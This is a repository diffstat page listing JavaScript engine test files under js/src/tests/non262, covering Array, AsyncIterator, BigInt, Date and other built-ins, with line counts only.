summaryrefslogtreecommitdiffstats
path: root/js/src/tests/non262
diff options
context:
space:
mode:
Diffstat (limited to 'js/src/tests/non262')
-rw-r--r--js/src/tests/non262/Array/11.1.4.js68
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-1.js187
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-2.js189
-rw-r--r--js/src/tests/non262/Array/15.4.4.5-3.js145
-rw-r--r--js/src/tests/non262/Array/array-001.js85
-rw-r--r--js/src/tests/non262/Array/array-length-set-during-for-in.js10
-rw-r--r--js/src/tests/non262/Array/array-length-set-on-nonarray.js26
-rw-r--r--js/src/tests/non262/Array/at.js41
-rw-r--r--js/src/tests/non262/Array/browser.js0
-rw-r--r--js/src/tests/non262/Array/concat-proxy.js25
-rw-r--r--js/src/tests/non262/Array/concat-spreadable-basic.js37
-rw-r--r--js/src/tests/non262/Array/concat-spreadable-primitive.js34
-rw-r--r--js/src/tests/non262/Array/fill.js97
-rw-r--r--js/src/tests/non262/Array/filter.js53
-rw-r--r--js/src/tests/non262/Array/find_findindex.js285
-rw-r--r--js/src/tests/non262/Array/for_of_1.js138
-rw-r--r--js/src/tests/non262/Array/for_of_2.js58
-rw-r--r--js/src/tests/non262/Array/for_of_3.js60
-rw-r--r--js/src/tests/non262/Array/for_of_4.js64
-rw-r--r--js/src/tests/non262/Array/from-iterator-close.js183
-rw-r--r--js/src/tests/non262/Array/from_basics.js51
-rw-r--r--js/src/tests/non262/Array/from_constructor.js56
-rw-r--r--js/src/tests/non262/Array/from_errors.js152
-rw-r--r--js/src/tests/non262/Array/from_iterable.js50
-rw-r--r--js/src/tests/non262/Array/from_length_setter.js13
-rw-r--r--js/src/tests/non262/Array/from_mapping.js41
-rw-r--r--js/src/tests/non262/Array/from_primitive.js21
-rw-r--r--js/src/tests/non262/Array/from_proxy.js55
-rw-r--r--js/src/tests/non262/Array/from_realms.js37
-rw-r--r--js/src/tests/non262/Array/from_string.js23
-rw-r--r--js/src/tests/non262/Array/from_surfaces.js13
-rw-r--r--js/src/tests/non262/Array/from_this.js48
-rw-r--r--js/src/tests/non262/Array/frozen-dense-array.js42
-rw-r--r--js/src/tests/non262/Array/frozen-dict-mode-length.js18
-rw-r--r--js/src/tests/non262/Array/getter-name.js9
-rw-r--r--js/src/tests/non262/Array/includes.js59
-rw-r--r--js/src/tests/non262/Array/index-with-null-character.js18
-rw-r--r--js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/non262/Array/indexOf-packed-array.js40
-rw-r--r--js/src/tests/non262/Array/isArray.js67
-rw-r--r--js/src/tests/non262/Array/iterator_edge_cases.js50
-rw-r--r--js/src/tests/non262/Array/join-01.js83
-rw-r--r--js/src/tests/non262/Array/join-no-has-trap.js36
-rw-r--r--js/src/tests/non262/Array/lastIndexOf-never-returns-negative-zero.js4
-rw-r--r--js/src/tests/non262/Array/length-01.js71
-rw-r--r--js/src/tests/non262/Array/length-nonwritable-redefine-nop.js70
-rw-r--r--js/src/tests/non262/Array/length-set-object.js68
-rw-r--r--js/src/tests/non262/Array/length-truncate-nonconfigurable-sparse.js110
-rw-r--r--js/src/tests/non262/Array/length-truncate-nonconfigurable.js48
-rw-r--r--js/src/tests/non262/Array/length-truncate-with-indexed.js101
-rw-r--r--js/src/tests/non262/Array/pop-empty-nonwritable.js32
-rw-r--r--js/src/tests/non262/Array/pop-no-has-trap.js58
-rw-r--r--js/src/tests/non262/Array/pop-nonarray-higher-elements.js91
-rw-r--r--js/src/tests/non262/Array/redefine-length-accessor.js42
-rw-r--r--js/src/tests/non262/Array/redefine-length-frozen-array.js26
-rw-r--r--js/src/tests/non262/Array/redefine-length-frozen-dictionarymode-array.js36
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-call-counts.js45
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-custom-conversion-throw.js58
-rw-r--r--js/src/tests/non262/Array/redefine-nonwritable-length-nonnumeric.js32
-rw-r--r--js/src/tests/non262/Array/regress-101488.js135
-rw-r--r--js/src/tests/non262/Array/regress-101964.js83
-rw-r--r--js/src/tests/non262/Array/regress-107138.js174
-rw-r--r--js/src/tests/non262/Array/regress-108440.js77
-rw-r--r--js/src/tests/non262/Array/regress-130451.js182
-rw-r--r--js/src/tests/non262/Array/regress-154338.js87
-rw-r--r--js/src/tests/non262/Array/regress-157652.js117
-rw-r--r--js/src/tests/non262/Array/regress-178722.js127
-rw-r--r--js/src/tests/non262/Array/regress-255555.js32
-rw-r--r--js/src/tests/non262/Array/regress-290592.js661
-rw-r--r--js/src/tests/non262/Array/regress-299644.js27
-rw-r--r--js/src/tests/non262/Array/regress-300858.js21
-rw-r--r--js/src/tests/non262/Array/regress-304828.js256
-rw-r--r--js/src/tests/non262/Array/regress-305002.js25
-rw-r--r--js/src/tests/non262/Array/regress-310351.js54
-rw-r--r--js/src/tests/non262/Array/regress-310425-01.js27
-rw-r--r--js/src/tests/non262/Array/regress-310425-02.js17
-rw-r--r--js/src/tests/non262/Array/regress-311515.js20
-rw-r--r--js/src/tests/non262/Array/regress-315509-01.js28
-rw-r--r--js/src/tests/non262/Array/regress-322135-01.js39
-rw-r--r--js/src/tests/non262/Array/regress-322135-02.js32
-rw-r--r--js/src/tests/non262/Array/regress-322135-03.js40
-rw-r--r--js/src/tests/non262/Array/regress-322135-04.js38
-rw-r--r--js/src/tests/non262/Array/regress-330812.js33
-rw-r--r--js/src/tests/non262/Array/regress-345961.js33
-rw-r--r--js/src/tests/non262/Array/regress-348810.js25
-rw-r--r--js/src/tests/non262/Array/regress-350256-01.js42
-rw-r--r--js/src/tests/non262/Array/regress-350256-02.js43
-rw-r--r--js/src/tests/non262/Array/regress-352742-01.js36
-rw-r--r--js/src/tests/non262/Array/regress-352742-02.js29
-rw-r--r--js/src/tests/non262/Array/regress-360681-01.js30
-rw-r--r--js/src/tests/non262/Array/regress-360681-02.js55
-rw-r--r--js/src/tests/non262/Array/regress-364104.js74
-rw-r--r--js/src/tests/non262/Array/regress-386030.js64
-rw-r--r--js/src/tests/non262/Array/regress-387501.js48
-rw-r--r--js/src/tests/non262/Array/regress-390598.js37
-rw-r--r--js/src/tests/non262/Array/regress-415451.js24
-rw-r--r--js/src/tests/non262/Array/regress-421325.js31
-rw-r--r--js/src/tests/non262/Array/regress-422286.js31
-rw-r--r--js/src/tests/non262/Array/regress-424954.js27
-rw-r--r--js/src/tests/non262/Array/regress-430717.js29
-rw-r--r--js/src/tests/non262/Array/regress-451483.js28
-rw-r--r--js/src/tests/non262/Array/regress-451906.js27
-rw-r--r--js/src/tests/non262/Array/regress-456845.js48
-rw-r--r--js/src/tests/non262/Array/regress-465980-01.js32
-rw-r--r--js/src/tests/non262/Array/regress-465980-02.js167
-rw-r--r--js/src/tests/non262/Array/regress-474529.js52
-rw-r--r--js/src/tests/non262/Array/regress-488989.js32
-rw-r--r--js/src/tests/non262/Array/regress-566651.js20
-rw-r--r--js/src/tests/non262/Array/regress-599159.js10
-rw-r--r--js/src/tests/non262/Array/regress-619970.js8
-rw-r--r--js/src/tests/non262/Array/regress-94257.js83
-rw-r--r--js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js88
-rw-r--r--js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js60
-rw-r--r--js/src/tests/non262/Array/shell.js0
-rw-r--r--js/src/tests/non262/Array/shift-no-has-trap.js64
-rw-r--r--js/src/tests/non262/Array/shift_for_in.js13
-rw-r--r--js/src/tests/non262/Array/slice-sparse-with-large-index.js18
-rw-r--r--js/src/tests/non262/Array/sort-01.js23
-rw-r--r--js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js32
-rw-r--r--js/src/tests/non262/Array/sort-delete-ascending-order.js37
-rw-r--r--js/src/tests/non262/Array/sort-non-function.js22
-rw-r--r--js/src/tests/non262/Array/sort-typedarray-with-own-length.js33
-rw-r--r--js/src/tests/non262/Array/sort_basics.js46
-rw-r--r--js/src/tests/non262/Array/sort_holes.js66
-rw-r--r--js/src/tests/non262/Array/sort_proxy.js38
-rw-r--r--js/src/tests/non262/Array/sort_small.js33
-rw-r--r--js/src/tests/non262/Array/species.js182
-rw-r--r--js/src/tests/non262/Array/splice-return-array-elements-defined-not-set.js46
-rw-r--r--js/src/tests/non262/Array/splice-species-changes-length.js48
-rw-r--r--js/src/tests/non262/Array/splice-suppresses-unvisited-indexes.js61
-rw-r--r--js/src/tests/non262/Array/to-length.js40
-rw-r--r--js/src/tests/non262/Array/toLocaleString-01.js36
-rw-r--r--js/src/tests/non262/Array/toLocaleString-nointl.js26
-rw-r--r--js/src/tests/non262/Array/toLocaleString.js14
-rw-r--r--js/src/tests/non262/Array/toString-01.js52
-rw-r--r--js/src/tests/non262/Array/unscopables.js61
-rw-r--r--js/src/tests/non262/Array/unshift-01.js44
-rw-r--r--js/src/tests/non262/Array/unshift-with-enumeration.js18
-rw-r--r--js/src/tests/non262/Array/values.js20
-rw-r--r--js/src/tests/non262/ArrayBuffer/CloneArrayBuffer.js35
-rw-r--r--js/src/tests/non262/ArrayBuffer/browser.js0
-rw-r--r--js/src/tests/non262/ArrayBuffer/constructorNotCallable.js8
-rw-r--r--js/src/tests/non262/ArrayBuffer/getter-name.js10
-rw-r--r--js/src/tests/non262/ArrayBuffer/shell.js0
-rw-r--r--js/src/tests/non262/ArrayBuffer/slice-species.js180
-rw-r--r--js/src/tests/non262/AsyncGenerators/async-generator-declaration-in-modules.js11
-rw-r--r--js/src/tests/non262/AsyncGenerators/browser.js0
-rw-r--r--js/src/tests/non262/AsyncGenerators/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/AsyncGenerators/cross-compartment.js90
-rw-r--r--js/src/tests/non262/AsyncGenerators/for-await-bad-syntax.js24
-rw-r--r--js/src/tests/non262/AsyncGenerators/for-await-of-error.js26
-rw-r--r--js/src/tests/non262/AsyncGenerators/shell.js0
-rw-r--r--js/src/tests/non262/AsyncIterator/asynciterator.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-subclassable.js12
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-throw-when-called-directly.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor-throw-without-new.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/constructor.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/length.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/proto.js14
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/asIndexedPairs.js25
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/asIndexedPairs/name.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/async-iterator-helpers-from-other-global.js65
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/clobber-symbol.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/drop-more-than-available.js39
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/drop.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/length.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/drop/name.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/check-fn-after-getting-iterator.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/coerce-result-to-boolean.js29
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/descriptor.js10
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/fn-not-callable-throws.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/return-true-if-all-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/short-circuit-on-false.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/this-not-iterator-throws.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/every/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/coerce-result-to-boolean.js25
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/filter.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/filter/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/check-fn-after-getting-iterator.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/coerce-result-to-boolean.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/fn-not-callable-throws.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/fn-throws-close-iterator.js26
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/return-undefined-if-none-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/short-circuit-on-match.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/this-not-iterator-throws.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/find/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-complete-throws.js55
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js36
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js71
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js27
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js11
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js12
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js36
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js42
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js59
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js51
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js57
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js54
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js64
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js90
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js49
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js48
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js33
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js38
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js68
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js63
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js42
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js58
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js35
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js40
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js53
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js50
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js18
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/map.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/map/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js27
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js9
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js15
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js31
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js29
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/proxy.js46
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js16
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js28
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js30
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js33
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js45
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/length.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/name.js19
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js34
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/take/take.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js20
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js24
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js10
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/length.js17
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/name.js13
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js23
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js44
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js21
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js22
-rw-r--r--js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js33
-rw-r--r--js/src/tests/non262/Atomics/browser.js0
-rw-r--r--js/src/tests/non262/Atomics/cross-compartment.js109
-rw-r--r--js/src/tests/non262/Atomics/detached-buffers.js94
-rw-r--r--js/src/tests/non262/Atomics/shell.js0
-rw-r--r--js/src/tests/non262/BigInt/Number-conversion-rounding.js244
-rw-r--r--js/src/tests/non262/BigInt/decimal.js30
-rw-r--r--js/src/tests/non262/BigInt/large-bit-length.js33
-rw-r--r--js/src/tests/non262/BigInt/mod.js8
-rw-r--r--js/src/tests/non262/BigInt/property-name-guessed-name.js21
-rw-r--r--js/src/tests/non262/BigInt/property-name.js194
-rw-r--r--js/src/tests/non262/Boolean/15.6.4.2.js17
-rw-r--r--js/src/tests/non262/Boolean/browser.js0
-rw-r--r--js/src/tests/non262/Boolean/no-boolean-toJSON.js17
-rw-r--r--js/src/tests/non262/Boolean/shell.js0
-rw-r--r--js/src/tests/non262/DataView/browser.js0
-rw-r--r--js/src/tests/non262/DataView/detach-after-construction.js9
-rw-r--r--js/src/tests/non262/DataView/get-set-index-range.js36
-rw-r--r--js/src/tests/non262/DataView/getter-name.js11
-rw-r--r--js/src/tests/non262/DataView/shell.js0
-rw-r--r--js/src/tests/non262/Date/15.9.4.2.js134
-rw-r--r--js/src/tests/non262/Date/15.9.5.5-02.js63
-rw-r--r--js/src/tests/non262/Date/15.9.5.5.js111
-rw-r--r--js/src/tests/non262/Date/15.9.5.6.js118
-rw-r--r--js/src/tests/non262/Date/15.9.5.7.js111
-rw-r--r--js/src/tests/non262/Date/UTC-convert-all-arguments.js70
-rw-r--r--js/src/tests/non262/Date/browser.js12
-rw-r--r--js/src/tests/non262/Date/constructor-convert-all-arguments.js70
-rw-r--r--js/src/tests/non262/Date/constructor-one-Date-argument.js40
-rw-r--r--js/src/tests/non262/Date/constructor-one-argument.js26
-rw-r--r--js/src/tests/non262/Date/defaultvalue.js190
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-1-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-2-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-3-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-4-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-5-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-6-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-7-of-8.js6
-rw-r--r--js/src/tests/non262/Date/dst-offset-caching-8-of-8.js6
-rw-r--r--js/src/tests/non262/Date/equality-to-boolean.js39
-rw-r--r--js/src/tests/non262/Date/fractions.js24
-rw-r--r--js/src/tests/non262/Date/non-iso.js77
-rw-r--r--js/src/tests/non262/Date/parse-from-tostring-methods.js31
-rw-r--r--js/src/tests/non262/Date/prototype-is-not-a-date.js15
-rw-r--r--js/src/tests/non262/Date/regress-188211.js27
-rw-r--r--js/src/tests/non262/Date/regress-301738-01.js97
-rw-r--r--js/src/tests/non262/Date/regress-309925-01.js15
-rw-r--r--js/src/tests/non262/Date/regress-309925-02.js15
-rw-r--r--js/src/tests/non262/Date/regress-346027.js27
-rw-r--r--js/src/tests/non262/Date/regress-346363.js28
-rw-r--r--js/src/tests/non262/Date/regress-452786.js30
-rw-r--r--js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js30
-rw-r--r--js/src/tests/non262/Date/setTime-argument-shortcircuiting.js147
-rw-r--r--js/src/tests/non262/Date/shell.js311
-rw-r--r--js/src/tests/non262/Date/time-components-negative-zero.js18
-rw-r--r--js/src/tests/non262/Date/time-zone-2038-pst.js43
-rw-r--r--js/src/tests/non262/Date/time-zone-etc_localetime.js29
-rw-r--r--js/src/tests/non262/Date/time-zone-path.js30
-rw-r--r--js/src/tests/non262/Date/time-zone-pst.js120
-rw-r--r--js/src/tests/non262/Date/time-zones-historic.js510
-rw-r--r--js/src/tests/non262/Date/time-zones-imported.js992
-rw-r--r--js/src/tests/non262/Date/time-zones-pedantic.js15
-rw-r--r--js/src/tests/non262/Date/time-zones-posix.js160
-rw-r--r--js/src/tests/non262/Date/time-zones.js261
-rw-r--r--js/src/tests/non262/Date/timeclip.js42
-rw-r--r--js/src/tests/non262/Date/toISOString-01.js53
-rw-r--r--js/src/tests/non262/Date/toISOString.js24
-rw-r--r--js/src/tests/non262/Date/toJSON-01.js238
-rw-r--r--js/src/tests/non262/Date/toPrimitive.js62
-rw-r--r--js/src/tests/non262/Date/toString-generic.js15
-rw-r--r--js/src/tests/non262/Date/toString-localized-posix.js71
-rw-r--r--js/src/tests/non262/Date/toString-localized.js90
-rw-r--r--js/src/tests/non262/Date/two-digit-years.js71
-rw-r--r--js/src/tests/non262/Error/AggregateError.js82
-rw-r--r--js/src/tests/non262/Error/browser.js0
-rw-r--r--js/src/tests/non262/Error/constructor-ordering.js17
